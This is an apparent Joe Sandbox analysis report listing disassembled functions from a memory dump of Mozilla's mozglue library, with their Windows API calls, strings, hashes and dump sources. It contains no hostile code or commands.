Instruction Fuzzy Hash: 845196B1E002549BDB00DBA9DC849EFB7B9FF49224F180125E815E7741EB34ED48CBA2

Function 6CB16660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB3F618), ref: 6CB16694
GetThreadId.KERNEL32(?), ref: 6CB166B1
GetCurrentThreadId.KERNEL32 ref: 6CB166B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB166E1
EnterCriticalSection.KERNEL32(6CB3F618), ref: 6CB16734
GetCurrentProcess.KERNEL32 ref: 6CB1673A
LeaveCriticalSection.KERNEL32(6CB3F618), ref: 6CB1676C
GetCurrentThread.KERNEL32 ref: 6CB167FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB16868
RtlCaptureContext.NTDLL ref: 6CB1687F

Strings

WalkStack64, xrefs: 6CB16890

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: d1d34b38da8bd2e5dba4678558a1bb4ba4a711f1a7f0d10538db705406be9363
Instruction ID: 969409ba7385e711f1ed5c688859e60356a56b7e101a536c75839babc6a4fe43
Opcode Fuzzy Hash: d1d34b38da8bd2e5dba4678558a1bb4ba4a711f1a7f0d10538db705406be9363
Instruction Fuzzy Hash: 31517971A09791AFD721CF24C844A9EBBF4FF89714F00492DF99997A40D774A908CB92

Function 6CAFDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFDE73
GetCurrentThreadId.KERNEL32 ref: 6CAFDF7D
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFDF8A
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFDFC9
GetCurrentThreadId.KERNEL32 ref: 6CAFDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAC4A68), ref: 6CAFDE7B

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAC4A68), ref: 6CAFDEB8
free.MOZGLUE(00000000,?,6CAC4A68), ref: 6CAFDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CAFDF38

Strings

[I %d/%d] locked_profiler_stop, xrefs: 6CAFDE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CAFE00E
<none>, xrefs: 6CAFDFD7

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 3f743b28fe63e24dc6f15b86582f1bf6dae7c728f2d5beee094fa1b08d5d2685
Instruction ID: e937985a6dd2e228ddafac059f933ee30b579111353aa8869c669f4598a756a9
Opcode Fuzzy Hash: 3f743b28fe63e24dc6f15b86582f1bf6dae7c728f2d5beee094fa1b08d5d2685
Instruction Fuzzy Hash: 22412835B016209BEB219F68D904BAE7B75EB4631DF044115F92D87B41CB31988ACBE2

Function 6CB0D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB0D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D52A
GetCurrentThreadId.KERNEL32 ref: 6CB0D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D55F
free.MOZGLUE(00000000), ref: 6CB0D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CB0D5D3
GetCurrentThreadId.KERNEL32 ref: 6CB0D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D652
GetCurrentThreadId.KERNEL32 ref: 6CB0D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB0D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0D6A2

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: d571d475ba7577e43a74cd25ff100a3e813b0167402903448199d82de7658fc4
Instruction ID: 704b51fab80c8752c36682e150450fd74b382306c5cb8bce525a4f02ed04df9c
Opcode Fuzzy Hash: d571d475ba7577e43a74cd25ff100a3e813b0167402903448199d82de7658fc4
Instruction Fuzzy Hash: 61517D71604B45DFC714DF34D488A9ABBF4FF89318F008A2EE85A87751DB30A959CB91

Function 6CAD5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CAD56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAD56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CAD56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CAD5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CAD57BC
GetTickCount64.KERNEL32 ref: 6CAD58CB
EnterCriticalSection.KERNEL32(6CB3F688), ref: 6CAD58F3
__aulldiv.LIBCMT ref: 6CAD5945
LeaveCriticalSection.KERNEL32(6CB3F688), ref: 6CAD59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CB3F638,?,?,?,?), ref: 6CAD59E9

Strings

MOZ_APP_RESTART, xrefs: 6CAD56CC

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 8085d77208d221655a85d681e54ad7363d062ef12d844d3eef107574060ad01e
Instruction ID: 6bb548e84cce476d4e2ee13f14654fd2ded128d7c98e115f9354a40d58185d2b
Opcode Fuzzy Hash: 8085d77208d221655a85d681e54ad7363d062ef12d844d3eef107574060ad01e
Instruction Fuzzy Hash: ABC18E71A087509FDB15CF28C54066EBBF1FFCA714F169A5DE8C897660D730A889CB82

Function 6CAFEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAFEC8C

Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

GetCurrentThreadId.KERNEL32 ref: 6CAFECA1
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CAFECC5
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CAFED19
CloseHandle.KERNEL32(?), ref: 6CAFED28
free.MOZGLUE(00000000), ref: 6CAFED2F
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CAFEC94

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 35196275f394a7e301f3eeee5f925fed76e365aa58fa3cf1e6dcc08e3195362f
Instruction ID: 0cfa34ff086a49e21b5e4a1aa6df2543a6cd79e29da0795af1fcbb383adb4ed2
Opcode Fuzzy Hash: 35196275f394a7e301f3eeee5f925fed76e365aa58fa3cf1e6dcc08e3195362f
Instruction Fuzzy Hash: 0F210275600524ABDF109F28D908A9E3739EB4636DF144210FD2C87B81DB31984BCBF1

Function 6CAF8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6CABEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CABEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6CAFB392,?,?,00000001), ref: 6CAF91F4

Part of subcall function 6CAECBE8: GetCurrentProcess.KERNEL32(?,6CAB31A7), ref: 6CAECBF1
Part of subcall function 6CAECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAB31A7), ref: 6CAECBFA

Strings

timeline-overview, xrefs: 6CAF907A
stack-chart, xrefs: 6CAF90B2
marker-table, xrefs: 6CAF906C
timeline-memory, xrefs: 6CAF9088
timeline-ipc, xrefs: 6CAF9096
data, xrefs: 6CAF90E8
marker-chart, xrefs: 6CAF905E
timeline-fileio, xrefs: 6CAF90A4
name, xrefs: 6CAF8F16

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: f1ea80b985c642fead0357aa14d72a83fc3e2ecfac47b2539c6b443eb2eeda9d
Instruction ID: e40dcb0bb9492529affcd9ceeccd2ed18bd4268da5bdd94bb269a66143deded6
Opcode Fuzzy Hash: f1ea80b985c642fead0357aa14d72a83fc3e2ecfac47b2539c6b443eb2eeda9d
Instruction Fuzzy Hash: 47B1C3B0B012499BDB04CFA8DA517FEBBB5BF84318F144129E416ABF90C7359989CBD1

Function 6CADC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CADC5A3
WideCharToMultiByte.KERNEL32 ref: 6CADC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CADC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CADCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CADCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CADCAA5

Strings

(null), xrefs: 6CADC596
0, xrefs: 6CADD30A

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 67a474958267eca72047632f3a5b590f14476622da608bbb56560e0a8dadb922
Instruction ID: 35b36d756369c9b7cb17f3427117e51ca1956ad823d616920ea1511e4f025b96
Opcode Fuzzy Hash: 67a474958267eca72047632f3a5b590f14476622da608bbb56560e0a8dadb922
Instruction Fuzzy Hash: 81A1CC306083528FDB10DF28C98475ABBE5BF8974CF0A892CE889D7741D731E885CB92

Function 6CADC769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CADC784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CADC801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6CADC83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CADC891

Strings

nan, xrefs: 6CADC7A8
INF, xrefs: 6CADC794
NAN, xrefs: 6CADC7AD
inf, xrefs: 6CADC78F

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: 04b24c6580118f4c62674d862fff040cac1f667f7781e8f69091888b6951f68a
Instruction ID: 4d12688c10582ca2ffff826de36d3ce3ce03ef0680b3ef9818ac8b4033ae4d2b
Opcode Fuzzy Hash: 04b24c6580118f4c62674d862fff040cac1f667f7781e8f69091888b6951f68a
Instruction Fuzzy Hash: 035191709087808BD700AF6CC58569EFBF0BF8A308F458A2CE9D5A7650E774E9C5CB52

Function 6CAB4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CAF4843,?), ref: 6CAB45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CAF4843,?), ref: 6CAB468A
free.MOZGLUE(?,?,?,?,?,?,6CAF4843,?), ref: 6CAB46C9
free.MOZGLUE(?), ref: 6CAB46EF
free.MOZGLUE(?), ref: 6CAB4712
free.MOZGLUE(?), ref: 6CAB4735
free.MOZGLUE(?), ref: 6CAB4758
free.MOZGLUE(?), ref: 6CAB477B
free.MOZGLUE(?), ref: 6CAB479E

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 4f899b9250748cc2e25e65c2fcf07b466ffbd44bf0ee38af5cbbb2ca00518699
Instruction ID: 7dfee9e6bec6dd4fca0cce600d53366a11d1640d073cc18fa5de5077e6187691
Opcode Fuzzy Hash: 4f899b9250748cc2e25e65c2fcf07b466ffbd44bf0ee38af5cbbb2ca00518699
Instruction Fuzzy Hash: 6BB1F371A005518FDB18DF7CC9A476D77BAAF42328F184669E416EBB86DB3098C4CB81

Function 6CB1AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CB1AC52
CreateFileMappingW.KERNEL32 ref: 6CB1AC7D
GetSystemInfo.KERNEL32 ref: 6CB1AC98
MapViewOfFile.KERNEL32 ref: 6CB1ACB0
GetSystemInfo.KERNEL32 ref: 6CB1ACCD
MapViewOfFile.KERNEL32 ref: 6CB1AD05
UnmapViewOfFile.KERNEL32 ref: 6CB1AD1C
CloseHandle.KERNEL32 ref: 6CB1AD28
UnmapViewOfFile.KERNEL32 ref: 6CB1AD37
CloseHandle.KERNEL32 ref: 6CB1AD43
CloseHandle.KERNEL32 ref: 6CB1AD67

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 8670aea69b487aed863c185d98982dbc6db741ffeea8eab4900692212355b43a
Instruction ID: 2dec6f563a1b99c1bc3553f8c995f8d6176ff461166d1f16fd22bc7dad7f7b02
Opcode Fuzzy Hash: 8670aea69b487aed863c185d98982dbc6db741ffeea8eab4900692212355b43a
Instruction Fuzzy Hash: 053172B1904B558FDB00AF7DD64826EBBF0FF85305F014A2DE98987255EB749448CB82

Function 6CAC9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAC9675
__Init_thread_footer.LIBCMT ref: 6CAC9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAC96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAC9707
__Init_thread_footer.LIBCMT ref: 6CAC971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9773

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAC97B7
FreeLibrary.KERNEL32 ref: 6CAC97D0
FreeLibrary.KERNEL32 ref: 6CAC97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9824

Strings

NtMapViewOfSection, xrefs: 6CAC9701
MapViewOfFileNuma2, xrefs: 6CAC97B1
ntdll.dll, xrefs: 6CAC96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAC9670

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 13fa92291af4bbb8dc6d0039b2cfc420bc1736a02e18a13e649f8909b55c1334
Instruction ID: 78de15e52b2fb64104b6842c5b67fe81386a9b567795da5738df470e35099380
Opcode Fuzzy Hash: 13fa92291af4bbb8dc6d0039b2cfc420bc1736a02e18a13e649f8909b55c1334
Instruction Fuzzy Hash: 9B41F174700215DBDF10DFA5EA88A8E3BB4FB49328F044568ED1987780D730E858CBE2

Function 6CAB1E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1EC1
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1EE1
EnterCriticalSection.KERNEL32(6CB3E744), ref: 6CAB1F38
LeaveCriticalSection.KERNEL32(6CB3E744), ref: 6CAB1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAB1F83
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FC0
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FE2
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CAB2019

Strings

MOZ_CRASH(), xrefs: 6CAB2000

Memory Dump Source

Source File: 00000000.00000002.2751644695.000000006CAB1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2751613659.000000006CAB0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751749228.000000006CB2D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751789076.000000006CB3E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2751827253.000000006CB42000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: c3ba840c1b907f671ded6b80ebb562519bd7b801fffa51c337a205000607c722
Instruction ID: 1b9eee7a5a792b31f6189591e3b520fca6885a7491bb3571b6284fd94b9ce945
Opcode Fuzzy Hash: c3ba840c1b907f671ded6b80ebb562519bd7b801fffa51c337a205000607c722
Instruction Fuzzy Hash: 3041C171B04369CBDF109F78C889BAE3AB9EB59308F040126EA19A7785DB719C44CBD1

Function 6CAC7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC7EA7
malloc.MOZGLUE(00000001), ref: 6CAC7EB3

Part of subcall function 6CACCAB0: EnterCriticalSection.KERNEL32(?), ref: 6CACCB49
Part of subcall function 6CACCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CACCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAC7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAC7F19
malloc.MOZGLUE(?), ref: 6CAC7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAC7F4D

Strings

d, xrefs: 6CAC7F89

Memory Dump Source

